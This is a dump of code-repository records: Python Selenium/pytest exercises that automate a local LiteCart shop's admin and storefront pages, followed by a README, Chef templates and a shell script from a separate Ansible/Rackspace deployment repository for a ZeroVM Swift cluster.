0.6567633748054504, "alphanum_fraction": 0.6601712703704834, "avg_line_length": 33.050594329833984, "blob_id": "20a4ae6c05e10d7bbf531326a5577ce99cf1dc9b", "content_id": "6ed4020aa3b835ffeed20b94f802b3aa83e1c274", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11503, "license_type": "no_license", "max_line_length": 145, "num_lines": 336, "path": "/lesson4_7_old.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "import pytest\nfrom selenium import webdriver\nfrom enum import Enum\n\nfrom selenium.common.exceptions import NoSuchElementException\n\n\nclass Browser(Enum):\n CHROME = 1\n FIREFOX_OLD_SCHEME = 2\n FIREFOX_NEW_SCHEME = 3\n EXPLORER = 4\n ALL = 5\n\n\[email protected]()\ndef driver(request):\n wd = select_browser(Browser.CHROME, request)\n return wd\n\n#region TESTS_METHODS_REGION\n\ndef test_authorization_admin_panel(driver):\n main_page_url = 'http://localhost/litecart/admin/'\n driver.get(main_page_url)\n\n input_username = driver.find_element_by_name('username')\n input_username.send_keys('admin')\n\n input_password = driver.find_element_by_name('password')\n input_password.send_keys('nimda')\n\n button_login = driver.find_element_by_name('login')\n button_login.click()\n\n\ndef test_check_sections(driver):\n test_authorization_admin_panel(driver)\n\n left_menu = driver.find_element_by_xpath('//div[contains(@id, \"menu-wrapper\")]')\n\n sections = left_menu.find_elements_by_xpath('.//li[@id = \"app-\"]//*[not(@class=\"docs\")]//span[@class=\"name\"]')\n\n for i, item in enumerate(sections):\n item = left_menu.find_elements_by_xpath(f'.//li[@id = \"app-\"]//*[not(@class=\"docs\")]//span[@class=\"name\"][{i + 1}]')\n item.click()\n assert_page_title_exist(driver, item)\n\n subsections = driver.find_elements_by_xpath('//li[@id=\"app-\" and @class=\"selected\"]//ul[@class=\"docs\"]//span[@class=\"name\"]')\n\n for j, item2 in enumerate(subsections):\n item2 = driver.find_elements_by_xpath(f'//li[@id=\"app-\" and @class=\"selected\"]//ul[@class=\"docs\"]//span[@class=\"name\"][{j + 1}]')\n\n sleep(1)\n item2.click()\n assert_page_title_exist(driver, item2)\n\n\n\ndef test_check_sections_2(driver):\n xpath_sections = '//div[contains(@id, \"menu-wrapper\")]//li[@id = \"app-\"]//*[not(@class=\"docs\")]//span[@class=\"name\"]'\n\n # xpath_subsection =\n\n test_authorization_admin_panel(driver)\n\n sections = driver.find_elements_by_xpath(xpath_sections)\n\n for i, item in enumerate(sections):\n # TODO: Отладить. Берет вместе с подразделами, в случайном порядке, и долго ждет\n something = driver.find_elements_by_xpath(xpath_sections)\n item = get_element_by_xpath_and_number(driver, xpath_sections, i)\n\n assert_element_by_number_exist(driver, i, item, 'Section')\n\n subsections = item.find_elements_by_xpath('following::ul[@class=\"docs\"][1]//span[@class=\"name\"]')\n\n item.click()\n assert_page_title_exist(driver, item)\n\n\n # subsections = item.find_elements_by_xpath('//li[@id=\"app-\" and @class=\"selected\"]//ul[@class=\"docs\"]//span[@class=\"name\"]')\n\n\n # subsections = driver.find_elements_by_xpath('//li[@id=\"app-\" and @class=\"selected\"]//ul[@class=\"docs\"]//span[@class=\"name\"]')\n\n # for i_sub, item_sub in enumerate(subsections):\n # sleep(0.5)\n # item_sub.click()\n # assert_page_title_exist(driver, item_sub)\n\n\n# With StaleElementReferenceException in second element\ndef test_check_sections_with_exception(driver):\n test_authorization_admin_panel(driver)\n\n left_menu = driver.find_element_by_xpath('//div[contains(@id, \"menu-wrapper\")]')\n\n sections = left_menu.find_elements_by_xpath('.//li[@id = \"app-\"]//*[not(@class=\"docs\")]//span[@class=\"name\"]')\n\n for item in sections:\n item.click()\n assert_page_title_exist(driver, item)\n\n subsections = driver.find_elements_by_xpath('//li[@id=\"app-\" and @class=\"selected\"]//ul[@class=\"docs\"]//span[@class=\"name\"]')\n\n for item2 in subsections:\n sleep(1)\n item2.click()\n assert_page_title_exist(driver, item2)\n\n\n# With IndexError\ndef test_check_subsections_wrong_numbers(driver):\n test_authorization_admin_panel(driver)\n\n max_subsections = 100\n\n for i in range(max_subsections + 1):\n sleep(1)\n subsection = driver.find_elements_by_xpath('//div[contains(@id, \"menu-wrapper\")]//li[@id = \"app-\"]//span[@class=\"name\"]')[i]\n if(subsection == None):\n break;\n\n subsection.click()\n\n if(i == max_subsections):\n subsection_next = driver.find_elements_by_xpath('//div[contains(@id, \"menu-wrapper\")]//li[@id = \"app-\"]//span[@class=\"name\"]')[i + 1]\n assert subsection_next == None, f'There is more than \"{max_subsections}\" subsections.'\n\ndef test_check_sections_3(driver):\n test_authorization_admin_panel(driver)\n\n go_to_subsection(driver, 'Appearence', 'Template')\n assert_page_title(driver, 'Template')\n\n go_to_subsection(driver, 'Appearence', 'Logotype')\n assert_page_title(driver, 'Logotype')\n\n go_to_subsection(driver, 'Catalog', 'Catalog')\n assert_page_title(driver, 'Catalog')\n\n go_to_subsection(driver, 'Catalog', 'Product Groups')\n assert_page_title(driver, 'Product Groups')\n\n go_to_subsection(driver, 'Catalog', 'Option Groups')\n assert_page_title(driver, 'Option Groups')\n\n go_to_subsection(driver, 'Catalog', 'Manufacturers')\n assert_page_title(driver, 'Manufacturers')\n\n go_to_subsection(driver, 'Catalog', 'Suppliers')\n assert_page_title(driver, 'Suppliers')\n\n go_to_subsection(driver, 'Catalog', 'Delivery Statuses')\n assert_page_title(driver, 'Delivery Statuses')\n\n go_to_subsection(driver, 'Catalog', 'Sold Out Statuses')\n assert_page_title(driver, 'Sold Out Statuses')\n\n go_to_subsection(driver, 'Catalog', 'Quantity Units')\n assert_page_title(driver, 'Quantity Units')\n\n go_to_subsection(driver, 'Catalog', 'CSV Import/Export')\n assert_page_title(driver, 'CSV Import/Export')\n\n go_to_section(driver, 'Countries')\n assert_page_title(driver, 'Countries')\n\n go_to_section(driver, 'Currencies')\n assert_page_title(driver, 'Currencies')\n\n go_to_subsection(driver, 'Customers', 'Customers')\n assert_page_title(driver, 'Customers')\n\n go_to_subsection(driver, 'Customers', 'CSV Import/Export')\n assert_page_title(driver, 'CSV Import/Export')\n\n go_to_subsection(driver, 'Customers', 'Newsletter')\n assert_page_title(driver, 'Newsletter')\n\n go_to_section(driver, 'Geo Zones')\n assert_page_title(driver, 'Geo Zones')\n\n go_to_subsection(driver, 'Languages', 'Languages')\n assert_page_title(driver, 'Languages')\n\n go_to_subsection(driver, 'Languages', 'Storage Encoding')\n assert_page_title(driver, 'Storage Encoding')\n\n go_to_subsection(driver, 'Modules', 'Background Jobs')\n assert_page_title(driver, 'Job Modules')\n\n go_to_subsection(driver, 'Modules', 'Customer')\n assert_page_title(driver, 'Customer Modules')\n\n go_to_subsection(driver, 'Modules', 'Shipping')\n assert_page_title(driver, 'Shipping Modules')\n\n go_to_subsection(driver, 'Modules', 'Payment')\n assert_page_title(driver, 'Payment Modules')\n\n go_to_subsection(driver, 'Modules', 'Order Total')\n assert_page_title(driver, 'Order Total Modules')\n\n go_to_subsection(driver, 'Modules', 'Order Success')\n assert_page_title(driver, 'Order Success Modules')\n\n go_to_subsection(driver, 'Modules', 'Order Action')\n assert_page_title(driver, 'Order Action Modules')\n\n go_to_subsection(driver, 'Orders', 'Orders')\n assert_page_title(driver, 'Orders')\n\n go_to_subsection(driver, 'Orders', 'Order Statuses')\n assert_page_title(driver, 'Order Statuses')\n\n go_to_section(driver, 'Pages')\n assert_page_title(driver, 'Pages')\n\n go_to_subsection(driver, 'Reports', 'Monthly Sales')\n assert_page_title(driver, 'Monthly Sales')\n\n go_to_subsection(driver, 'Reports', 'Most Sold Products')\n assert_page_title(driver, 'Most Sold Products')\n\n go_to_subsection(driver, 'Reports', 'Most Shopping Customers')\n assert_page_title(driver, 'Most Shopping Customers')\n\n go_to_subsection(driver, 'Settings', 'Store Info')\n assert_page_title(driver, 'Settings')\n\n go_to_subsection(driver, 'Settings', 'Defaults')\n assert_page_title(driver, 'Settings')\n\n go_to_subsection(driver, 'Settings', 'General')\n assert_page_title(driver, 'Settings')\n\n go_to_subsection(driver, 'Settings', 'Listings')\n assert_page_title(driver, 'Settings')\n\n go_to_subsection(driver, 'Settings', 'Images')\n assert_page_title(driver, 'Settings')\n\n go_to_subsection(driver, 'Settings', 'Checkout')\n assert_page_title(driver, 'Settings')\n\n go_to_subsection(driver, 'Settings', 'Advanced')\n assert_page_title(driver, 'Settings')\n\n go_to_subsection(driver, 'Settings', 'Security')\n assert_page_title(driver, 'Settings')\n\n go_to_section(driver, 'Slides')\n assert_page_title(driver, 'Slides')\n\n go_to_subsection(driver, 'Tax', 'Tax Classes')\n assert_page_title(driver, 'Tax Classes')\n\n go_to_subsection(driver, 'Tax', 'Tax Rates')\n assert_page_title(driver, 'Tax Rates')\n\n go_to_subsection(driver, 'Translations', 'Search Translations')\n assert_page_title(driver, 'Search Translations')\n\n go_to_subsection(driver, 'Translations', 'Scan Files')\n assert_page_title(driver, 'Scan Files For Translations')\n\n go_to_subsection(driver, 'Translations', 'CSV Import/Export')\n assert_page_title(driver, 'CSV Import/Export')\n\n go_to_section(driver, 'Users')\n assert_page_title(driver, 'Users')\n\n go_to_subsection(driver, 'vQmods', 'vQmods')\n assert_page_title(driver, 'vQmods')\n\n#endregion\n\n#region ACTIONS_METHODS_REGION\n\ndef select_browser(browser, request):\n if browser == Browser.CHROME:\n wd = webdriver.Chrome()\n elif browser == Browser.FIREFOX_OLD_SCHEME:\n # Needs (old) Firefox version 45\n wd = webdriver.Firefox(capabilities={\"marionette\": False})\n elif browser == Browser.FIREFOX_NEW_SCHEME:\n # Firefox Nightly\n # wd = webdriver.Firefox()\n wd = webdriver.Firefox(capabilities={\"marionette\": True})\n elif browser == Browser.EXPLORER:\n # Needs a 32 bit driver\n wd = webdriver.Ie(capabilities={\"requireWindowFocus\": True})\n else:\n return\n\n wd.implicitly_wait(10)\n request.addfinalizer(wd.quit)\n return wd\n\ndef go_to_section(driver, text_section):\n try:\n button_section = driver.find_element_by_xpath(f'//span[text()=\"{text_section}\"]')\n button_section.click()\n except NoSuchElementException:\n print(f'\\n Button of section with name {text_section} isn\\'t exist.')\n\ndef go_to_subsection(driver, text_section, text_subsection):\n try:\n button_section = driver.find_element_by_xpath(f'//span[text()=\"{text_section}\"]')\n button_section.click()\n except NoSuchElementException:\n print(f'\\n Button of section with name \"{text_section}\" isn\\'t exist.')\n\n try:\n button_subsection = driver.find_element_by_xpath(f'//span[text()=\"{text_subsection}\"]')\n button_subsection.click()\n except NoSuchElementException:\n print(f'\\n Button of subsection with name \"{text_subsection}\" isn\\'t exist.')\n#endregion\n\n#region ASSERTS_METHODS_REGION\n\ndef assert_page_title(driver, page_title):\n elements = driver.find_elements_by_tag_name(f'h1')\n\n necessary_elements = list(filter(lambda x: x.text == page_title, elements))\n\n assert len(necessary_elements) > 0, f'Title \"{page_title}\" isn\\'t founded on page. There is \"{elements[0].text}\" title.'\n\n # Variant 1\n # elements = driver.find_elements_by_xpath(f'//h1[contains(text(),\"{page_title}\")]')\n # assert len(elements) == 1, f'Title \"{page_title}\" isn\\'t founded on page.'\n\n#endregion\n\n\n\n" }, { "alpha_fraction": 0.5977229475975037, "alphanum_fraction": 0.5977229475975037, "avg_line_length": 30.02941131591797, "blob_id": "20f06275be7dedb9d5652354bbd9a804877cb000", "content_id": "aeb9c0c5be8d221dcc9bbeca0c844f86223aca9a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1054, "license_type": "no_license", "max_line_length": 111, "num_lines": 34, "path": "/lesson11_19/Helpers/DomHelper.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "class DomHelper:\n\n #region Xpath_For_MainPage\n\n xpath_product_in_list = '//li[contains(@class, \"product\")]'\n\n #endregion\n\n #region Xpath_For_EditProductPage\n\n xpath_lists_product_size = '//div[@class=\"content\"]//tr[contains(., \"Size\")]//select'\n\n xpath_product_quantity = '//a[@class=\"content\" and contains(., \"Cart\")]//span[@class=\"quantity\"]'\n\n xpath_link_cart = '//a[contains(text(), \"Checkout\")]'\n\n xpath_button_to_cart = '//button[text()=\"Add To Cart\"]'\n\n #endregion\n\n #region Xpath_For_CartPage\n\n xpath_list_products = '//ul[@class=\"items\"]//li'\n\n xpath_button_remove = '//button[text()=\"Remove\"]'\n\n #endregion\n\n def get_list(self, driver, list_name):\n return driver.find_element_by_xpath(f'//div[@class=\"content\"]//tr[contains(., \"{list_name}\")]//select')\n\n def get_list_item(self, driver, list_name, item):\n return driver.find_element_by_xpath(f'//div[@class=\"content\"]//tr[contains(., \"{list_name}\")]'\n f'//option[contains(text(), \"{item}\")]')" }, { "alpha_fraction": 0.6262779235839844, "alphanum_fraction": 0.6781522035598755, "avg_line_length": 34.702701568603516, "blob_id": "8e20c50469e3b5ec681aebf4bdda0aa043f19855", "content_id": "0466b06cb6664e8d13e629c4bcdb09aa183cc776", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2741, "license_type": "no_license", "max_line_length": 380, "num_lines": 74, "path": "/lesson9_15.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "import pytest\nfrom selenium import webdriver\nfrom enum import Enum\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support import expected_conditions as ES\n\nclass Browser(Enum):\n CHROME = 1\n FIREFOX_OLD_SCHEME = 2\n FIREFOX_NEW_SCHEME = 3\n EXPLORER = 4\n REMOTE_CHROME = 5\n REMOTE_EXPLORER = 6\n\[email protected]()\ndef driver(request):\n wd = select_browser(Browser.REMOTE_CHROME, request)\n\n return wd\n\n#region TESTS_METHODS_REGION\n\ndef test_check_course_page(driver):\n course_name = 'Selenium WebDriver: полное руководство'\n\n driver.get('https://www.google.com/')\n\n input_search = driver.find_element_by_name('q')\n input_search.send_keys(course_name)\n\n input_search.send_keys(Keys.ENTER)\n\n course_link = driver.find_element_by_xpath(f\"//a[contains(., '{course_name}')]\")\n course_link.click()\n\n course_page_title = driver.find_element_by_xpath(f\"//h2[contains(text(), '{course_name}')]\")\n\n ES.visibility_of(course_page_title)\n\n#endregion\n\n#region ACTIONS_METHODS_REGION\n\ndef select_browser(browser, request):\n # In virtualBox: https://coderoad.ru/43610397/%D0%9D%D0%B5-%D1%83%D0%B4%D0%B0%D0%B5%D1%82%D1%81%D1%8F-%D0%B4%D0%BE%D1%81%D1%82%D0%B8%D1%87%D1%8C-%D1%83%D0%B7%D0%BB%D0%B0-%D0%BD%D0%B0-%D0%B2%D0%B8%D1%80%D1%82%D1%83%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B9-%D0%BC%D0%B0%D1%88%D0%B8%D0%BD%D0%B5-%D1%81-%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E-%D1%81%D0%B5%D1%82%D0%BA%D0%B8-Selenium\n # Перейдите в Настройки -> Сеть\n # 1. Прилагается к должно быть 'Bridged Adapter'\n # 2. Разверните 'Advanced' -> Неразборчивый режим должен быть 'Allow All'\n\n url = 'Here should be your url. Like: http://XXX.XXX.XXX.XXX .'\n if browser == Browser.CHROME:\n wd = webdriver.Chrome()\n elif browser == Browser.FIREFOX_OLD_SCHEME:\n # Needs (old) Firefox version 45\n wd = webdriver.Firefox(capabilities={\"marionette\": False})\n elif browser == Browser.FIREFOX_NEW_SCHEME:\n # Firefox Nightly\n # wd = webdriver.Firefox()\n wd = webdriver.Firefox(capabilities={\"marionette\": True})\n elif browser == Browser.EXPLORER:\n # Needs a 32 bit driver\n wd = webdriver.Ie(capabilities={\"requireWindowFocus\": True})\n elif browser == Browser.REMOTE_CHROME:\n wd = webdriver.Remote(f'{url}:4444/wd/hub', desired_capabilities={\"browserName\":\"chrome\"})\n elif browser == Browser.REMOTE_EXPLORER:\n wd = webdriver.Remote(f'{url}:4444/wd/hub', desired_capabilities={\"browserName\":\"internet explorer\"})\n else:\n return\n\n wd.implicitly_wait(10)\n request.addfinalizer(wd.quit)\n return wd\n\n#endregion" }, { "alpha_fraction": 0.6362204551696777, "alphanum_fraction": 0.6446194052696228, "avg_line_length": 33.02678680419922, "blob_id": "81624d5d41c7dbc402c0bfd024ecfc73b62de05e", "content_id": "2b83c5b4e9a99cceb4405d159a80d22d18b60af4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3913, "license_type": "no_license", "max_line_length": 114, "num_lines": 112, "path": "/lesson6_11.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "import random\nfrom telnetlib import EC\nfrom time import sleep\n\nimport rstr\nimport pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.wait import WebDriverWait\n\n\[email protected]()\ndef driver(request):\n wd = webdriver.Chrome()\n wd.implicitly_wait(10)\n request.addfinalizer(wd.quit)\n return wd\n\n#region TESTS_METHODS_REGION\n\ndef test_create_account(driver):\n go_to_main_page(driver)\n\n link_registration = driver.find_element_by_link_text('New customers click here')\n link_registration.click()\n\n inputs = driver.find_elements_by_xpath(f'//input[not(@type=\"hidden\") and not(@type=\"checkbox\")]')\n\n password = ''\n for i, input in enumerate(inputs):\n input = driver.find_elements_by_xpath(f'//input[not(@type=\"hidden\") and not(@type=\"checkbox\")]')[i]\n parent_input_text = input.find_element_by_xpath('.//parent::td').text\n\n if 'Postcode' in parent_input_text:\n input_text = str(random.randint(10000, 99999))\n elif 'Email' in parent_input_text:\n input_text = rstr.xeger(r'[a-z][a-z0-9]{6}')\n input_text += '@mail.com'\n email = input_text\n elif 'Phone' in parent_input_text:\n input_text = '+7'\n input_text += rstr.xeger(r'[0-9]{8}')\n elif 'Password' in parent_input_text:\n if password == '':\n input_text = rstr.xeger(r'[a-z][a-z0-9]{7}')\n password = input_text\n else:\n input_text = password\n else:\n input_text = parent_input_text\n input_text += str(random.randint(100, 999))\n\n input.send_keys(input_text)\n\n item_in_list_country = driver.find_element_by_xpath('//span[contains(@class, \"select2-selection__rendered\")]')\n item_in_list_country.click()\n\n input_in_list_country = driver.find_element_by_xpath('//input[@class=\"select2-search__field\"]')\n input_in_list_country.send_keys('United States' + Keys.ENTER)\n\n sleep(1)\n # # Не кликается. Вместо этого получилось сразу на элемент списка нажать\n # list_country_zone = get_list(driver, 'Zone/State/Province')\n # list_country_zone.click()\n\n item_in_list_country_zone = get_list_item(driver, 'Zone/State/Province', 'Colorado')\n item_in_list_country_zone.click()\n\n button_create = driver.find_element_by_xpath('//button[text()=\"Create Account\"]')\n button_create.click()\n\n link_logout = driver.find_element_by_xpath('//a[text()=\"Logout\"]')\n link_logout.click()\n\n input_email = driver.find_element_by_xpath('//input[@name=\"email\"]')\n input_email.send_keys(email)\n\n input_password = driver.find_element_by_xpath('//input[@name=\"password\"]')\n input_password.send_keys(password)\n\n link_login = driver.find_element_by_xpath('//button[text()=\"Login\"]')\n link_login.click()\n\n link_logout = driver.find_element_by_xpath('//a[text()=\"Logout\"]')\n link_logout.click()\n\n#endregion\n\n#region ACTIONS_METHODS_REGION\n\ndef go_to_main_page(driver):\n main_page_url = 'http://localhost/litecart/'\n driver.get(main_page_url)\n\ndef get_list(driver, list_name):\n return driver.find_element_by_xpath(f'//div[@class=\"content\"]//tr[contains(., \"{list_name}\")]//select')\n\ndef get_list_item(driver, list_name, item):\n return driver.find_element_by_xpath(f'//div[@class=\"content\"]//td[contains(., \"{list_name}\")]'\n f'//option[contains(text(), \"{item}\")]')\n\n#endregion\n\n#region Experiment\n\ndef change_value_in_list_attribute(driver):\n list_country = get_list(driver, 'Country')\n # Код по изменению свойства атрибута (На примере списка Country)\n driver.execute_script('arguments[0].setAttribute(\"aria-hidden\", \"false\");', list_country)\n list_country.click()\n\n#endregion" }, { "alpha_fraction": 0.6466629505157471, "alphanum_fraction": 0.6522714495658875, "avg_line_length": 30.785715103149414, "blob_id": "1f0ebef317ede787520a0f9516b25c486d041812", "content_id": "2ff5a12307e90a27929746fac4a642e40214ff20", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1783, "license_type": "no_license", "max_line_length": 133, "num_lines": 56, "path": "/lesson4_7.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "import pytest\nfrom selenium import webdriver\n\n\[email protected]()\ndef driver(request):\n wd = webdriver.Chrome()\n wd.implicitly_wait(10)\n request.addfinalizer(wd.quit)\n return wd\n\n#region TESTS_METHODS_REGION\n\ndef test_authorization_admin_panel(driver):\n main_page_url = 'http://localhost/litecart/admin/'\n driver.get(main_page_url)\n\n input_username = driver.find_element_by_name('username')\n input_username.send_keys('admin')\n\n input_password = driver.find_element_by_name('password')\n input_password.send_keys('nimda')\n\n button_login = driver.find_element_by_name('login')\n button_login.click()\n\ndef test_check_sections(driver):\n test_authorization_admin_panel(driver)\n\n left_menu = driver.find_element_by_xpath('//div[contains(@id, \"menu-wrapper\")]')\n\n sections = left_menu.find_elements_by_xpath('.//li[@id = \"app-\"]//*[not(@class=\"docs\")]//span[@class=\"name\"]')\n\n for i, item in enumerate(sections):\n item = driver.find_element_by_xpath(f'//div[contains(@id, \"menu-wrapper\")]//li[@id = \"app-\"][{i + 1}]')\n item.click()\n assert_page_title_exist(driver, item)\n\n subsections = driver.find_elements_by_xpath('//li[@id=\"app-\" and @class=\"selected\"]//ul[@class=\"docs\"]//span[@class=\"name\"]')\n\n for j, item2 in enumerate(subsections):\n item2 = driver.find_element_by_xpath(f'//li[@id=\"app-\" and @class=\"selected\"]//li[contains(@id, \"doc-\")][{j + 1}]')\n\n item2.click()\n assert_page_title_exist(driver, item2)\n\n#endregion\n\n#region ASSERTS_METHODS_REGION\n\ndef assert_page_title_exist(driver, section):\n elements = driver.find_elements_by_xpath('//td[@id=\"content\"]//h1')\n\n assert len(elements) == 1, f'Title in section \"{section}\" isn\\'t founded.'\n\n#endregion\n\n\n\n" }, { "alpha_fraction": 0.6795251965522766, "alphanum_fraction": 0.6854599118232727, "avg_line_length": 27, "blob_id": "27ba34eb7b35549726c8e0022516b1b647537d33", "content_id": "e780e928384e6c6c3ec87adff4536ff392b2a8e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1011, "license_type": "no_license", "max_line_length": 120, "num_lines": 36, "path": "/lesson4_8.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "import pytest\nfrom selenium import webdriver\n\n\[email protected]()\ndef driver(request):\n wd = webdriver.Chrome()\n wd.implicitly_wait(10)\n request.addfinalizer(wd.quit)\n return wd\n\n#region TESTS_METHODS_REGION\n\ndef test_authorization_main_page(driver):\n main_page_url = 'http://localhost/litecart/'\n driver.get(main_page_url)\n\ndef test_check_stickers_count(driver):\n test_authorization_main_page(driver)\n\n products = driver.find_elements_by_class_name('product')\n\n test_passed = True\n products_with_stickers_other_1 = []\n for item in products:\n product_name = item.find_element_by_class_name('name')\n\n product_stickers = item.find_elements_by_xpath('.//div[contains(@class, \"sticker\")]')\n\n if(len(product_stickers) != 1):\n products_with_stickers_other_1.append(product_name.text)\n test_passed = False\n\n assert test_passed, f'{len(products)} products without or more than one stickers: {products_with_stickers_other_1}.'\n\n#endregion\n\n\n\n" }, { "alpha_fraction": 0.6844444274902344, "alphanum_fraction": 0.7066666483879089, "avg_line_length": 16.384614944458008, "blob_id": "b08e52982da49b4b1efb6e75f57402a01783f283", "content_id": "d71c8fff9af53fe418c9f139119f2bb921663784", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 225, "license_type": "no_license", "max_line_length": 48, "num_lines": 13, "path": "/lesson11_19/tests.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "from python_tests.lesson11_19.confest import app\n\n\n#region TESTS_METHODS_REGION\n\ndef test_add_delete_cart_products(app):\n\n for i in range(3):\n app.add_product_to_cart()\n\n app.delete_products_in_cart()\n\n#endregion" } ]
25
zerovm/chef-rax-public
https://github.com/zerovm/chef-rax-public
7c40eba36aa9645dc5af00c3fd7d5677282f2136
d0e24415a28b5e4f1ac73b2f4e4e3fade24cefac
6a426e45a8d71f5b7698ceed8ed474100e305bbc
refs/heads/master
2016-09-01T19:42:41.526399
2013-09-22T17:42:23
2013-09-22T17:42:23
12,980,267
0
1
null
2013-09-20T17:58:59
2013-09-22T16:12:47
2013-09-22T16:12:47
Python
[ { "alpha_fraction": 0.7221872806549072, "alphanum_fraction": 0.7448145747184753, "avg_line_length": 34.35555648803711, "blob_id": "1dc1130949eac821d6d2b4c1cdc5b6cad4af0eca", "content_id": "54f296480b1d0d936f5f53878fdf55c1a4916d30", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1591, "license_type": "no_license", "max_line_length": 154, "num_lines": 45, "path": "/README.md", "repo_name": "zerovm/chef-rax-public", "src_encoding": "UTF-8", "text": "## Description\n\nThis is a playbook to install swift with the zerocloud middleware and ui enabled.\n\n## Notes\n\n_Pending ansible pull request https://github.com/ansible/ansible/pull/3930_\n\nThe rax module will need to be patched in the interim to support disk_config.\n\nYou'll need a version of ansible with the rax module and the pyrax libraryinstalled.\n\nConstantine: \nAs I get no love from Ansible team for some reason, for now it's better to use our Ansible fork at https://github.com/zerovm/ansible.git \nIt has both parted and parted_facts modules and all the rax fixes \n\n## How to setup\n\n1. Create/choose ssh key for the new servers, let's denote its location by `PRV_KEY` and its name by `KEY_NAME`\n\n2. Create/choose PyRax credentials file for your account, it usually looks like this:\n\n <pre>[rackspace_cloud]\n username = my_username\n api_key = 11111111111111111111111\n identity_type = rackspace</pre>\n\n3. Copy `rackspace_vars.yaml.example` to `rackspace_vars.yaml`\n\n4. Edit `rackspace_vars.yaml` file and change first variables to the credentials file location (full path only), `KEY_NAME` and region name, respectively.\nExample:\n\n <pre>credentials: /home/zerovm/.rax-cred\n key_name: zerovm\n region: IAD</pre>\n\n5. Set up environment variables:\n\n <pre>export RAX_REGION=IAD\n export RAX_CREDS_FILE=/home/zerovm/.rax-cred</pre>\n\n6. Copy `rackspace-server-list.yaml.example` to `rackspace-server-list.yaml` and edit it to your needs. \nThe example file creates a big 10-node cluster, beware.\n\n7. Now run `./rax-deploy.sh` with the `PRV_KEY` filename as argument.\n" }, { "alpha_fraction": 0.6545454263687134, "alphanum_fraction": 0.6763636469841003, "avg_line_length": 90.66666412353516, "blob_id": "10710243bbbb6a7c50c193babfb41733e570912d", "content_id": "23c9d507f5a19929ac5abe5be0d025399145eb4e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 275, "license_type": "no_license", "max_line_length": 131, "num_lines": 3, "path": "/templates/knife.rb", "repo_name": "zerovm/chef-rax-public", "src_encoding": "UTF-8", "text": "chef_server_url \"https://{{ hostvars[groups['zwift.chef-server'][0]]['ansible_' ~ chef_server_interface]['ipv4']['address'] }}:443\"\nchef_environment \"{{ chef_client.env }}\"\nnode_name \"{{ hostvars[inventory_hostname]['ansible_' ~ chef_client_interface]['ipv4']['address'] }}\"\n" }, { "alpha_fraction": 0.6454545259475708, "alphanum_fraction": 0.668181836605072, "avg_line_length": 53.75, "blob_id": "1294072ea5ca1d59a8f02840609ac5017af9caa5", "content_id": "af5d7e94360cdf7b722bd5d668cdd759f63e2073", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 220, "license_type": "no_license", "max_line_length": 131, "num_lines": 4, "path": "/templates/client.rb", "repo_name": "zerovm/chef-rax-public", "src_encoding": "UTF-8", "text": "Ohai::Config[:disabled_plugins] = [\"passwd\"]\n\nchef_server_url \"https://{{ hostvars[groups['zwift.chef-server'][0]]['ansible_' ~ chef_server_interface]['ipv4']['address'] }}:443\"\nchef_environment \"{{ chef_client.env }}\"\n\n" }, { "alpha_fraction": 0.6372997760772705, "alphanum_fraction": 0.6624714136123657, "avg_line_length": 28.133333206176758, "blob_id": "84080a2a220db3fbb9ef6d775127bb6857652663", "content_id": "0560ca58c30b1c47843a31ccbf1d26e4566b6635", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 874, "license_type": "no_license", "max_line_length": 85, "num_lines": 30, "path": "/rax-deploy.sh", "repo_name": "zerovm/chef-rax-public", "src_encoding": "UTF-8", "text": "#!/bin/bash\nif [ -z \"$1\" ]; then\n echo \"Usage: $0 path_to_private_key\"\n exit 1\nfi\nansible-playbook -i rax_inventory.py --private-key=\"$1\" acme/create-chef-server.yaml\nif [ $? -ne 0 ]; then\n exit 1\nfi\nansible-playbook -i rax_inventory.py --private-key=\"$1\" acme/install-chef-server.yaml\nif [ $? -ne 0 ]; then\n exit 1\nfi\nansible-playbook -i rax_inventory.py --private-key=\"$1\" acme/create-servers.yaml\nif [ $? -ne 0 ]; then\n exit 1\nfi\nansible-playbook -i rax_inventory.py --private-key=\"$1\" acme/prepare-servers.yaml\nif [ $? -ne 0 ]; then\n exit 1\nfi\nansible-playbook -i rax_inventory.py --private-key=\"$1\" acme/chef-run.yaml\nif [ $? -ne 0 ]; then\n exit 1\nfi\nansible-playbook -i rax_inventory.py --private-key=\"$1\" acme/finalize-servers.yaml\nif [ $? -ne 0 ]; then\n exit 1\nfi\nansible-playbook -i rax_inventory.py --private-key=\"$1\" acme/install-gui.yaml\n" }, { "alpha_fraction": 0.6358706951141357, "alphanum_fraction": 0.6394160389900208, "avg_line_length": 28.782608032226562, "blob_id": "344908409b46ff0a009f72b628ec5df5d2f7f3d3", "content_id": "7a52d72cc61d31de06caa3dfe53f5be38b0f7c75", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4795, "license_type": "no_license", "max_line_length": 103, "num_lines": 